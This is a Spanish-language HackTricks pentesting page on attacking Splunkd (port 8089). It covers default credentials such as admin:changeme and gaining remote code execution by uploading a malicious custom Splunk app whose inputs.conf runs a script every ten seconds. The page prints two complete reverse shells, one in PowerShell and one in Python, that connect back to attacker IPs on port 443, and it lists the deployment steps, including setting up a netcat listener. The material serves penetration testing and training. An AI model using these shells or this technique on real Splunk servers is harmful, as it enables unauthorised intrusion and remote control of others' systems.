8089 - Pentesting Splunkd

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Información Básica

  • Herramienta de análisis de registros utilizada para la recopilación, análisis y visualización de datos
  • Comúnmente utilizada en monitoreo de seguridad y análisis de negocios
  • Puertos predeterminados:
  • Servidor web: 8000
  • Servicio Splunkd: 8089

Vectores de Vulnerabilidad:

  1. Explotación de la Versión Gratuita
  • La versión de prueba se convierte automáticamente en versión gratuita después de 60 días
  • La versión gratuita carece de autenticación
  • Riesgo de seguridad potencial si se deja sin gestionar
  • Los administradores pueden pasar por alto las implicaciones de seguridad
  1. Debilidades de Credenciales
  • Versiones más antiguas: Credenciales predeterminadas admin:changeme
  • Versiones más nuevas: Credenciales establecidas durante la instalación
  • Potencial para el uso de contraseñas débiles (por ejemplo, admin, Welcome, Password123)
  1. Oportunidades de Ejecución Remota de Código
  • Múltiples métodos de ejecución de código:
  • Aplicaciones Django del lado del servidor
  • Puntos finales REST
  • Entradas scriptadas
  • Scripts de alerta
  • Soporte multiplataforma (Windows/Linux)
  • Las entradas scriptadas pueden ejecutar:
  • Scripts Bash
  • Scripts de PowerShell
  • Scripts por lotes

Potencial Clave de Explotación:

  • Almacenamiento de datos sensibles
  • Falta de autenticación en la versión gratuita
  • Múltiples vectores para potencial ejecución remota de código
  • Posibilidad de aprovechar entradas scriptadas para comprometer el sistema

Shodan

  • Splunk build

RCE

Crear Aplicación Personalizada

Splunk ofrece un método sofisticado para la ejecución remota de código a través del despliegue de aplicaciones personalizadas, aprovechando sus capacidades de scripting multiplataforma. La técnica de explotación central gira en torno a la creación de una aplicación maliciosa que puede ejecutar shells reversos en sistemas tanto Windows como Linux.

Una aplicación personalizada puede ejecutar scripts de Python, Batch, Bash o PowerShell. Además, Splunk viene con Python instalado, por lo que incluso en sistemas Windows podrás ejecutar código python.

Puedes usar este ejemplo con el bin que contiene un ejemplo para Python y PowerShell. O podrías crear el tuyo propio.

El proceso de explotación sigue una metodología consistente a través de plataformas:

splunk_shell/
├── bin        (reverse shell scripts)
└── default    (inputs.conf configuration)

El archivo de configuración crítico inputs.conf habilita el script mediante:

  • Estableciendo disabled = 0
  • Configurando un intervalo de ejecución de 10 segundos
  • Definiendo el tipo de fuente del script

El despliegue es sencillo:

  1. Crear el paquete de aplicación maliciosa
  2. Configurar un listener (Netcat/socat) en la máquina atacante
  3. Subir la aplicación a través de la interfaz de Splunk
  4. Activar la ejecución automática del script al subir

Ejemplo de shell reversa de Windows PowerShell:

powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()

Ejemplo de shell inverso de Python en Linux:

python
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')

RCE y Escalación de Privilegios

En la siguiente página puedes encontrar una explicación de cómo este servicio puede ser abusado para escalar privilegios y obtener persistencia:

Splunk LPE and Persistence

Referencias

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks